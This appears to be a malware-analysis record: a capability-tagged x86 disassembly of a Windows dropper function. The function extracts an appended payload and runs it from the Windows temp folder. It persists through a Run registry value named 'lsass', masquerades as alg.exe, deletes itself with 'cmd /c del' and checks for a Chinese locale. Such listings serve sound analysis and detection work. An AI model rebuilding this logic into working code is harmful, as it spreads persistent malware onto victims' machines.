Function at 0x401000
Capabilities:
Accept command line arguments
Check if file exists
Copy file
Create process on windows
Delete file
Get common file path
Get file attributes
Get file size
Move file
Persist via run registry key
Query environment variable
Query or enumerate registry value
Read file on windows
Self delete
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push 0x400
push 0x40548c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x40548c
push 0x40588c
call sub.kernel32.dll_lstrcpyA
push 0x40588c
call sub.kernel32.dll_lstrlenA
mov edi, eax
mov ecx, eax
sub edi, 1
lea eax, [edi + 0x40588c]
mov ebx, dword [eax]
cmp bl, 0x5c
jne 0x401047
mov byte [edi + 0x40588c], 0
jmp 0x401049
loop 0x40102e
push 0x40548c
call sub.kernel32.dll_lstrlenA
sub eax, edi
mov ecx, eax
mov esi, 0
sub esi, 1
add edi, 1
add esi, 1
lea eax, [edi + 0x40588c]
lea ebx, [esi + 0x405180]
mov edx, dword [eax]
or dl, dl
je 0x40107d
mov byte [esi + 0x405180], dl
loop 0x40105f
push 0x400
push 0x40548c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0
push 0x20
push 3
push 0
push 1
push 0x80000000
push 0x40548c
call sub.kernel32.dll_CreateFileA
mov dword [0x4062c0], eax
push 0
push 0
push 0x20
push dword [0x4062c0]
call sub.kernel32.dll_SetFilePointer
push 0
push 0x4062bc
push 4
push 0x4062b4
push dword [0x4062c0]
call sub.kernel32.dll_ReadFile
mov eax, dword [0x4062b4]
or eax, eax
je 0x4013c5
push dword [0x4062b4]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [0x4062c8], eax
push 0
push dword [0x4062c0]
call sub.kernel32.dll_GetFileSize
sub eax, dword [0x4062b4]
mov dword [0x4062b8], eax
push dword [0x4062b8]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [0x4062cc], eax
push 0
push 0
push dword [0x4062b8]
push dword [0x4062c0]
call sub.kernel32.dll_SetFilePointer
push 0
push 0x4062bc
push dword [0x4062b4]
push dword [0x4062c8]
push dword [0x4062c0]
call sub.kernel32.dll_ReadFile
push 0
push 0
push 0
push dword [0x4062c0]
call sub.kernel32.dll_SetFilePointer
push 0
push 0x4062bc
push dword [0x4062b8]
push dword [0x4062cc]
push dword [0x4062c0]
call sub.kernel32.dll_ReadFile
push 0x104
push 0x405990
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x405034
push 0x405990
call sub.kernel32.dll_lstrcatA
push 0x405990
push 0x405b98
call sub.kernel32.dll_lstrcpyA
push str.temp
push 0x405990
call sub.kernel32.dll_lstrcatA
push 0x405990
push 0x405a94
call sub.kernel32.dll_lstrcpyA
push 0x405034
push 0x405a94
call sub.kernel32.dll_lstrcatA
push 0x405a94
call sub.dbghelp.dll_MakeSureDirectoryPathExists
or eax, eax
jne 0x401229
push 0x104
push 0x4066d0
push str.ComSpec
call sub.kernel32.dll_GetEnvironmentVariableA
push str.__c_md
push 0x4066d0
call sub.kernel32.dll_lstrcatA
push 0x405990
push 0x4066d0
call sub.kernel32.dll_lstrcatA
push 0
push 0x4066d0
call sub.kernel32.dll_WinExec
push 0x405034
push 0x405990
call sub.kernel32.dll_lstrcatA
push 0x405180
push 0x405990
call sub.kernel32.dll_lstrcatA
push 0
push 0x20
push 2
push 0
push 3
push 0xc0000000
push 0x405990
call sub.kernel32.dll_CreateFileA
mov dword [0x4062c4], eax
push 0
push 0x4062bc
push dword [0x4062b4]
push dword [0x4062c8]
push dword [0x4062c4]
call sub.kernel32.dll_WriteFile
push dword [0x4062c4]
call sub.kernel32.dll_CloseHandle
push 0xa
push 0
push 0
push 0x405990
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0x4068e4
push 0x20019
push 0
push 0x405075
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
push 0x104
pop dword [0x4068e8]
push 0x4068e8
push 0x405284
push 0x4068ec
push 0
push str.lsass
push dword [0x4068e4]
call sub.advapi32.dll_RegQueryValueExA
push 0x405284
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x401308
push dword [0x4068e4]
call sub.advapi32.dll_RegCloseKey
jmp 0x4013a8
push str.alg.exe
push 0x405b98
call sub.kernel32.dll_lstrcatA
push 0
push 0x20
push 2
push 0
push 3
push 0x40000000
push str.c:lsass.aaa
call sub.kernel32.dll_CreateFileA
mov dword [0x4062c4], eax
push edi
mov edi, dword [0x4062cc]
mov word [edi + 0x20], 0
mov word [edi + 0x22], 0
mov word [edi + 0xda], 0xc05
pop edi
push 0
push 0x4062bc
push dword [0x4062b8]
push dword [0x4062cc]
push dword [0x4062c4]
call sub.kernel32.dll_WriteFile
push dword [0x4062c4]
call sub.kernel32.dll_CloseHandle
push 0x405b98
call sub.kernel32.dll_DeleteFileA
push 0x405b98
push str.c:lsass.aaa
call sub.kernel32.dll_MoveFileA
push 0
push 0
push 0
push 0x405b98
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push dword [0x4062b4]
call sub.kernel32.dll_GlobalFree
push dword [0x4062c0]
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess
push dword [0x4062c0]
call sub.kernel32.dll_CloseHandle
push 0x40588c
push 0x405fa8
call sub.kernel32.dll_lstrcpyA
push 0x104
push 0x4060ac
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x405fa8
call sub.user32.dll_CharLowerA
push eax
push 0x405fa8
call sub.kernel32.dll_lstrcpyA
push 0x4060ac
call sub.user32.dll_CharLowerA
push eax
push 0x4060ac
call sub.kernel32.dll_lstrcpyA
push 0x4060ac
push 0x405fa8
call sub.kernel32.dll_lstrcmpA
or eax, eax
je 0x40155b
push 0x400
push 0x40548c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x4060ac
push 0x4061b0
call sub.kernel32.dll_lstrcpyA
push 0x405034
push 0x4061b0
call sub.kernel32.dll_lstrcatA
push str.alg.exe
push 0x4061b0
call sub.kernel32.dll_lstrcatA
push str.c:lsass.aaa
call sub.kernel32.dll_DeleteFileA
push 0
push str.c:lsass.aaa
push 0x40548c
call sub.kernel32.dll_CopyFileA
push 0x4061b0
call sub.kernel32.dll_DeleteFileA
push 0x4061b0
push str.c:lsass.aaa
call sub.kernel32.dll_MoveFileA
push 0x4068d8
push 0x20006
push 0
push 0x405075
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
push 0x104
push 0x4061b0
push 1
push 0
push str.lsass
push dword [0x4068d8]
call sub.advapi32.dll_RegSetValueExA
push 0
push 0
push 0
push 0x4061b0
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0x104
push 0x4061b0
push 0x40548c
call sub.kernel32.dll_GetShortPathNameA
push 0x400
push 0x4062d0
push str.ComSpec
call sub.kernel32.dll_GetEnvironmentVariableA
push str.__c_del
push 0x4062d0
call sub.kernel32.dll_lstrcatA
push 0x4061b0
push 0x4062d0
call sub.kernel32.dll_lstrcatA
push str.___nul
push 0x4062d0
call sub.kernel32.dll_lstrcatA
push 0
push 0x4062d0
call sub.kernel32.dll_WinExec
push 0
call sub.kernel32.dll_ExitProcess
jmp fcn.0040168c
call sub.kernel32.dll_GetSystemDefaultLangID
cmp eax, 0x804
je 0x401685
push 0x4068d8
push 0x405075
push 0x80000002
call sub.advapi32.dll_RegCreateKeyA
push 0x4068d8
push 0x20006
push 0
push 0x405075
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
push 0x104
push 0x4066d0
push str.ComSpec
call sub.kernel32.dll_GetEnvironmentVariableA
push str.__c_del
push 0x4066d0
call sub.kernel32.dll_lstrcatA
push 0x104
push 0x405990
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x405034
push 0x405990
call sub.kernel32.dll_lstrcatA
push str.temp
push 0x405990
call sub.kernel32.dll_lstrcatA
push 0x405034
push 0x405990
call sub.kernel32.dll_lstrcatA
push str..__q__s
push 0x405990
call sub.kernel32.dll_lstrcatA
push 0x405990
push 0x4066d0
call sub.kernel32.dll_lstrcatA
push 0
push 0x4066d0
call sub.kernel32.dll_WinExec
push 0x400
push 0x40548c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x104
push 0x40548c
push 1
push 0
push str.lsass
push dword [0x4068d8]
call sub.advapi32.dll_RegSetValueExA
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x405170], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x405174], eax
push 0xa
push dword [0x405174]
push 0
push dword [0x405170]
call fcn.00402b1c
push eax
call sub.kernel32.dll_ExitProcess
jmp fcn.0040168c
push 0
call sub.kernel32.dll_ExitProcess